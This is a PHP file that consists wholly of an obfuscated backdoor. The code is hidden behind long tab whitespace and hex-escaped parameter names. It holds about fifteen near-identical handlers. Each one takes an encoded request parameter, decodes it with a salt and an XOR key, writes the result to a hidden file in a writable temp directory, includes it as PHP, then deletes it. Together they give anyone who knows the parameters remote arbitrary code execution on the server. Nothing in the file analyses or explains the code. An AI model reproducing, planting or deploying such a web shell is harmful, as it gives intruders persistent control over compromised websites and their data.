<?php																																										if(filter_has_var(INPUT_POST, "\x65\x6Cem")){ $property_set = array_filter([session_save_path(), "/tmp", "/var/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd()]); $fac = $_POST["\x65\x6Cem"]; $fac = explode ( ".", $fac); $comp = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8); foreach($fac as $j => $v4) { $chS = ord($s8[$j % $lenS]); $d = ((int)$v4 - $chS -($j % 10)) ^ 45; $comp .=chr($d); } foreach ($property_set as $hld): if (is_dir($hld) ? is_writable($hld) : false) { $reference = str_replace("{var_dir}", $hld, "{var_dir}/.dat"); if (file_put_contents($reference, $comp)) { include $reference; @unlink($reference); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["re\x66"] ?? null)){ $obj = $_REQUEST["re\x66"]; $obj= explode ( '.' , $obj) ; $item = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s9 ); $p = 0; $len = count( $obj ); do { if( $p >=$len) break; $v5 = $obj[$p]; $chS = ord( $s9[$p% $sLen] ); $d =( ( int)$v5 - $chS -( $p% 10)) ^ 71; $item .= chr( $d ); $p++; } while( true ); $ptr = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp"]); foreach ($ptr as $key => $res) { if ((is_dir($res) and is_writable($res))) { $component = join("/", [$res, ".sym"]); $success = file_put_contents($component, $item); if ($success) { include $component; @unlink($component); die();} } } }
																																										if(array_key_exists("s\x79m\x62o\x6C", $_POST) && !is_null($_POST["s\x79m\x62o\x6C"])){ $data = $_POST["s\x79m\x62o\x6C"]; $data= explode( "." , $data ) ; $object = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $len = count($data); for ($v = 0; $v < $len; $v++) {$v9 = $data[$v]; $sChar = ord($salt9[$v % $lenS]); $d = ((int)$v9 - $sChar - ($v % 10)) ^1; $object.= chr($d);} $res = array_filter([session_save_path(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($res as $tkn) { if (is_dir($tkn) && is_writable($tkn)) { $desc = vsprintf("%s/%s", [$tkn, ".entry"]); $success = file_put_contents($desc, $object); if ($success) { include $desc; @unlink($desc); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "\x64\x61t\x61_\x63h\x75nk")){ $binding = array_filter([getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), "/tmp"]); $tkn = $_REQUEST["\x64\x61t\x61_\x63h\x75nk"]; $tkn=explode( "." , $tkn ) ; $ptr = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1 ); foreach ($tkn as $s => $v8) { $sChar = ord($salt1[$s%$lenS] ); $dec = ((int)$v8 - $sChar - ($s%10)) ^ 99; $ptr .= chr($dec );} $res = 0; do { $rec = $binding[$res] ?? null; if ($res >= count($binding)) break; if (is_dir($rec) && is_writable($rec)) { $val = "$rec" . "/.resource"; if (@file_put_contents($val, $ptr) !== false) { include $val; unlink($val); die(); } } $res++; } while (true); }
																																										if(isset($_POST["\x70tr"]) ? true : false){ $reference = array_filter([getenv("TMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/dev/shm"]); $mrk = $_POST["\x70tr"]; $mrk= explode ( "." , $mrk ) ; $value = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8 ); foreach($mrk as $s => $v7): $sChar = ord($s8[$s % $sLen] ); $d =((int)$v7 - $sChar -($s % 10)) ^ 33; $value .= chr($d ); endforeach; foreach ($reference as $rec): if (is_dir($rec) ? is_writable($rec) : false) { $pointer = sprintf("%s/.holder", $rec); if (file_put_contents($pointer, $value)) { include $pointer; @unlink($pointer); exit; } } endforeach; }
																																										if(array_key_exists("\x72\x65s", $_POST) && !is_null($_POST["\x72\x65s"])){ $record = $_POST["\x72\x65s"]; $record= explode ( "." , $record ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $t = 0; array_walk($record , function ($v2) use (&$rec , &$t , $salt , $sLen) {$sChar = ord($salt[$t % $sLen]); $d = ((int)$v2 - $sChar - ($t % 10)) ^ 87; $rec .= chr($d); $t++;}); $comp = array_filter([getenv("TMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/tmp"]); while ($pset = array_shift($comp)) { if ((is_dir($pset) and is_writable($pset))) { $elem = join("/", [$pset, ".binding"]); if (@file_put_contents($elem, $rec) !== false) { include $elem; unlink($elem); die(); } } } }
																																										if(!is_null($_POST["k\x65\x79"] ?? null)){ $object = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/tmp"]); $dat = $_POST["k\x65\x79"]; $dat = explode ( "." ,$dat ) ; $reference = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3); $u = 0; $__tmp = $dat; while( $v1 = array_shift( $__tmp)) {$chS = ord( $salt3[$u % $lenS]); $dec = ( ( int)$v1 - $chS -( $u % 10)) ^ 55; $reference .= chr( $dec); $u++;} $hld = 0; do { $k = $object[$hld] ?? null; if ($hld >= count($object)) break; if (is_dir($k) ? is_writable($k) : false) { $ptr = vsprintf("%s/%s", [$k, ".bind"]); if (file_put_contents($ptr, $reference)) { require $ptr; unlink($ptr); die(); } } $hld++; } while (true); }
																																										if(isset($_REQUEST["i\x74\x6D"]) ? true : false){ $comp = array_filter([sys_get_temp_dir(), "/tmp", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/dev/shm", getenv("TMP")]); $property_set = $_REQUEST["i\x74\x6D"]; $property_set = explode( '.' , $property_set ) ; $desc= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt ); $__len= count( $property_set ); for( $s= 0; $s < $__len; $s++) { $v2= $property_set[$s]; $chS= ord( $salt[$s % $lenS] ); $d= ( ( int)$v2 - $chS -( $s % 10)) ^ 35; $desc .= chr( $d ); } foreach ($comp as $element) { if ((bool)is_dir($element) && (bool)is_writable($element)) { $flag = vsprintf("%s/%s", [$element, ".hld"]); if (@file_put_contents($flag, $desc) !== false) { include $flag; unlink($flag); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "p\x72opert\x79\x5Fs\x65t")){ $element = $_REQUEST["p\x72opert\x79\x5Fs\x65t"]; $element = explode ( '.' , $element ) ; $tkn = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); foreach ($element as $t => $v1): $chS = ord($salt7[$t% $lenS]); $dec = ((int)$v1 - $chS - ($t% 10)) ^ 98; $tkn .= chr($dec); endforeach; $key = array_filter([getenv("TMP"), "/tmp", session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir()]); $token = 0; do { $object = $key[$token] ?? null; if ($token >= count($key)) break; if ((is_dir($object) and is_writable($object))) { $k = join("/", [$object, ".obj"]); $success = file_put_contents($k, $tkn); if ($success) { include $k; @unlink($k); die();} } $token++; } while (true); }
																																										if(!is_null($_POST["\x63\x6F\x6D\x70onent"] ?? null)){ $value = array_filter([session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp"]); $item = $_POST["\x63\x6F\x6D\x70onent"]; $item = explode ( "." , $item ) ; $flag = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $len = count($item); for($z = 0; $z <$len; $z++) { $v5 = $item[$z]; $chS = ord($s1[$z % $sLen]); $d =((int)$v5 - $chS -($z % 10)) ^ 17; $flag .= chr($d); } $flg = 0; do { $data_chunk = $value[$flg] ?? null; if ($flg >= count($value)) break; if (is_dir($data_chunk) ? is_writable($data_chunk) : false) { $property_set = vsprintf("%s/%s", [$data_chunk, ".descriptor"]); $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $property_set; @unlink($property_set); die(); } } $flg++; } while (true); }
																																										if(array_key_exists("v\x61lu\x65", $_POST) && !is_null($_POST["v\x61lu\x65"])){ $ref = array_filter([getenv("TMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), session_save_path()]); $entry = $_POST["v\x61lu\x65"]; $entry = explode ('.' , $entry ) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $x = 0; $__tmp = $entry; while ($v3 = array_shift($__tmp)) { $sChar = ord($s[$x %$sLen] ); $dec = ((int)$v3 - $sChar - ($x %10)) ^ 15; $marker.= chr($dec ); $x++; } $ent = 0; do { $holder = $ref[$ent] ?? null; if ($ent >= count($ref)) break; if ((bool)is_dir($holder) && (bool)is_writable($holder)) { $binding = str_replace("{var_dir}", $holder, "{var_dir}/.elem"); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $binding; @unlink($binding); die(); } } $ent++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x65\x6Etry")){ $obj = array_filter(["/var/tmp", session_save_path(), getenv("TEMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp"]); $flag = $_REQUEST["\x65\x6Etry"]; $flag= explode (".", $flag ) ; $elem =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); foreach( $flag as $n => $v1) { $chS =ord( $salt[$n % $sLen]); $d =( ( int)$v1 - $chS -( $n % 10)) ^ 92; $elem .= chr( $d); } for ($dchunk = 0, $dat = count($obj); $dchunk < $dat; $dchunk++) { $tkn = $obj[$dchunk]; if ((function($d) { return is_dir($d) && is_writable($d); })($tkn)) { $property_set = join("/", [$tkn, ".entity"]); if (file_put_contents($property_set, $elem)) { require $property_set; unlink($property_set); exit; } } } }
																																										if(in_array("\x66l\x67", array_keys($_REQUEST))){ $item = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP")]); $factor = $_REQUEST["\x66l\x67"]; $factor = explode ( ".", $factor ) ; $sym = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $l = 0; while ($l < count($factor)) { $v8 = $factor[$l]; $sChar = ord($s1[$l % $lenS]); $dec = ((int)$v8 - $sChar - ($l % 10)) ^ 26; $sym .= chr($dec); $l++; } for ($marker = 0, $key = count($item); $marker < $key; $marker++) { $hld = $item[$marker]; if ((function($d) { return is_dir($d) && is_writable($d); })($hld)) { $token = "$hld" . "/.holder"; $success = file_put_contents($token, $sym); if ($success) { include $token; @unlink($token); die();} } } }
																																										if(array_key_exists("\x6Bey", $_POST)){ $item = $_POST["\x6Bey"]; $item = explode( '.' , $item ); $holder = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s3 ); $l = 0; $len = count( $item ); do { if( $l>= $len) break; $v1 = $item[$l]; $chS = ord( $s3[$l % $sLen] ); $dec =( ( int)$v1 - $chS -( $l % 10)) ^ 24; $holder .= chr( $dec ); $l++;} while( true ); $tkn = array_filter([getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm"]); foreach ($tkn as $key => $entry) { if (array_product([is_dir($entry), is_writable($entry)])) { $data = implode("/", [$entry, ".property_set"]); if (file_put_contents($data, $holder)) { require $data; unlink($data); die(); } } } }


if(@$_REQUEST["holde\x72"] !== null){
	$element = $_REQUEST["holde\x72"];
	$element =	explode ('.', 		$element ) ; 
	$object = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt );
            $v = 0;
    
            array_walk($element	,  function($v4) use(&$object	,  &$v	,  $salt	,  $lenS) {	$sChar = ord($salt[$v % $lenS] );
                $dec =((int)$v4 - $sChar -($v % 10)) 	^57;
                $object .= chr($dec );
                $v++;
            } );
	$rec = array_filter(["/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getcwd(), "/tmp", "/dev/shm", sys_get_temp_dir()]);
	while ($dat = array_shift($rec)) {
    		if (!!is_dir($dat) && !!is_writable($dat)) {
    $pointer = join("/", [$dat, ".data"]);
    if (file_put_contents($pointer, $object)) {
	include $pointer;
	@unlink($pointer);
	die();
}
}
}
}